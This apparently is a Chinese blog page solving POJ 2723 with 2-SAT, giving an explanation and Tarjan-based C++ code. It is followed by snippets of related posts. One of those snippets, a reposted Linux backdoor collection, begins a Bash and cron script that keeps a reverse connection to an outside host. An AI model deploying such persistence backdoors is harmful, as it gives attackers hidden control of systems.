POJ2723-Get Luffy Out(2-SAT)

题意:有m扇门,每个门上有两把锁,打开任意一个锁都可以打开这扇门。门要按顺序一个一个打开。

现在有n对不同的钥匙,每对钥匙只能用其中一个,问最多能打开多少门。

题解:对钥匙建图,门是限制条件来建边。每加一扇门就多一个限制条件,直到2-sat不满足为止。当然二分会更快一些。有一个trick就是门上的两把锁相同的情况,也是就这个钥匙是必须用的,建边特殊考虑。

PS:我到底要错多少次才能长记性数组开足够大!!!以后WA了看数组!!TLE了看数组!!RE了看数组!!!

#include <algorithm>
#include <cstring>
#include <cstdio>
using namespace std;

typedef long long ll;

const int N = 1<<12;
const int M = 1<<13;

struct Edge {
    int from, to, next;
} edge[M];
int head[N];
int cntE;
void addedge(int u, int v) {
    edge[cntE].from = u; edge[cntE].to = v; edge[cntE].next = head[u]; head[u] = cntE++;
}

int dfn[N], low[N], idx;
int stk[N], top;
int in[N];
int kind[N], cnt;

void tarjan(int u)
{
    dfn[u] = low[u] = ++idx;
    in[u] = true;
    stk[++top] = u;
    for (int i = head[u]; i != -1; i = edge[i].next) {
        int v = edge[i].to;
        if (!dfn[v]) tarjan(v), low[u] = min(low[u], low[v]);
        else if (in[v]) low[u] = min(low[u], dfn[v]);
    }
    if (low[u] == dfn[u]) {
        ++cnt;
        while (1) {
            int v = stk[top--]; kind[v] = cnt; in[v] = false;
            if (v == u) break;
        }
    }
}

bool sat(int n) // 序号从0开始
{
    for (int i = 0; i < 2*n; ++i) if (!dfn[i]) tarjan(i);
    for (int i = 0; i < 2*n; i += 2) {
        if (kind[i] == kind[i^1]) return false;
    }
    return true;
}

void init() {
    memset(dfn, 0, sizeof dfn);
    memset(in, false, sizeof in);
    idx = top = cnt = 0;
}
int key[M];
int a[N], b[N];
int main()
{
    int n, m;
    int u, v;
    while (~scanf("%d%d", &n, &m) && n) {
        cntE = 0; memset(head, -1, sizeof head);
        for (int i = 0; i < n; ++i) {
            scanf("%d%d", &u, &v);
            key[u] = 2*i; key[v] = 2*i+1;
        }

        for (int i = 0; i < m; ++i) {
            scanf("%d%d", a+i, b+i);
        }
        for (int i = 0; i < m; ++i) {
            if (a[i] == b[i]) addedge(key[ a[i] ]^1, key[ a[i] ]);
            else {
                addedge(key[ a[i] ]^1, key[ b[i] ]);
                addedge(key[ b[i] ]^1, key[ a[i] ]);
            }
            init();
            if (!sat(n)) {
                printf("%d\n", i);
                break;
            }
            if (i == m-1) {
                printf("%d\n", m);
            }
        }
    }

    return 0;
}

/**
3 3
1 2 3 4 5 6
3 3 2 2 4 4

3 3
0 1 2 3 4 5
0 2 1 1 3 3

**/
时间: 2024-08-08 06:05:40

POJ2723-Get Luffy Out(2-SAT)的相关文章

(2 sat) hdu 1824

Let's go home Time Limit: 10000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submission(s): 1523    Accepted Submission(s): 616 Problem Description 小时候,乡愁是一枚小小的邮票,我在这头,母亲在那头.                        —— 余光中 集训是辛苦的,道路是坎坷的,休息还是

LA 3211 飞机调度(2—SAT)

https://vjudge.net/problem/UVALive-3211 题意: 有n架飞机需要着陆,每架飞机都可以选择“早着陆”和“晚着陆”两种方式之一,且必须选择一种,第i架飞机的早着陆时间为E,晚着陆时间为L,不得在其他时间着陆.你的任务是为这些飞机安排着陆方式,使得整个着陆计划尽量安全.换句话说,如果把所有飞机的实际着陆时间按照从早到晚的顺序排列,相邻两个着陆时间间隔的最小值. 思路: 二分查找最大值P,每次都用2—SAT判断是否可行. 1 #include<iostream>

(2 sat) poj 2723

Get Luffy Out Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 7758   Accepted: 2969 Description Ratish is a young man who always dreams of being a hero. One day his friend Luffy was caught by Pirate Arlong. Ratish set off at once to Arlo

命令说明(混乱版)第一周

命令  bc 是任意精度计算器语言 在linux下当计算器用选项值-i:强制进入交互式模式:-l:定义使用的标准数学库-w:对POSIX bc的扩展给出警告信息:-q:不打印正常的GNU bc环境信息:-v:显示指令版本信息:-h:显示指令的帮助信息.常用运算: 加法- 减法* 乘法/ 除法^ 指数% 余数 cat 链接文件并打印到标准输出设备上 type 用于显示指定命令的类型,判断给出的指令是内部还是外部如果给出的恢复是 XX is a shell builtin 是内建命令-a 显示 指令

POJ 3207 Ikki&#39;s Story IV - Panda&#39;s Trick(2 - sat啊)

题目链接:http://poj.org/problem?id=3207 Description liympanda, one of Ikki's friend, likes playing games with Ikki. Today after minesweeping with Ikki and winning so many times, he is tired of such easy games and wants to play another game with Ikki. liy

POJ 2723 Get Luffy Out(图论-2SAT,搜索-二分)

Get Luffy Out Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 7488   Accepted: 2845 Description Ratish is a young man who always dreams of being a hero. One day his friend Luffy was caught by Pirate Arlong. Ratish set off at once to Arlo

[转载]Linux后门整理合集(脉搏推荐)

我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo

[转] Java程序员学C#基本语法两个小时搞定(对比学习)

Java程序员学C#基本语法两个小时搞定(对比学习) 对于学习一门新的语言,关键是学习新语言和以前掌握的语言的区别,但是也不要让以前语言的东西,固定了自己的思维模式,多看一下新的语言的编程思想. 1.引包 using System;java用import2.构造函数和java语法相同3.析构函数  变量和类的对象都有生命周期,生命周期结束,这些变量和对象就要被撤销.  类的对象被撤销时,将自动调用析构函数.一些善后工作可放在析构函数中完成.  析构函数的名字为~类名,无返回类型,也无参数.Per

Linux版Matlab R2015b的bug——脚本运行的陷阱(未解决)

0 系统+软件版本 系统:CentOS 6.7 x64, 内核 2.6.32-573.el6.x86_64软件:Matlab R2015b(包括威锋网和东北大学ipv6下载的资源,都测试过) 1 bug描述 1.1 未知的“陷阱” 首先,这个程序在Matlab R2013a中可以完美运行,这个“陷阱“在是新安装的R2015b上才出现的. 说它是“陷阱“,是因为脚本文件涉及到大量的数据处理,比如一个几百次的循环,它可能在执行某一句的时候就失去响应了,可能是一个循环,也可能是单句,仿佛掉进了一个未知

学习WebSocket一(WebSocket初识)

Java EE 7 去年刚刚发布了JSR356规范,使得WebSocket的Java API得到了统一,Tomcat从7.0.47开始支持JSR356,这样一来写WebSocket的时候,所用的代码都是可以一样的.今天终于体验了一把Tomcat发布的WebSocket,用着很爽,下面把这一历程分享给大家. 关键词:WebSocket, Tomcat 前提:使用Tomcat7.0.47,Firefox25.0.0.5046 首先Tomcat7.0.47自带WebSocket的示例程序,有两种版本,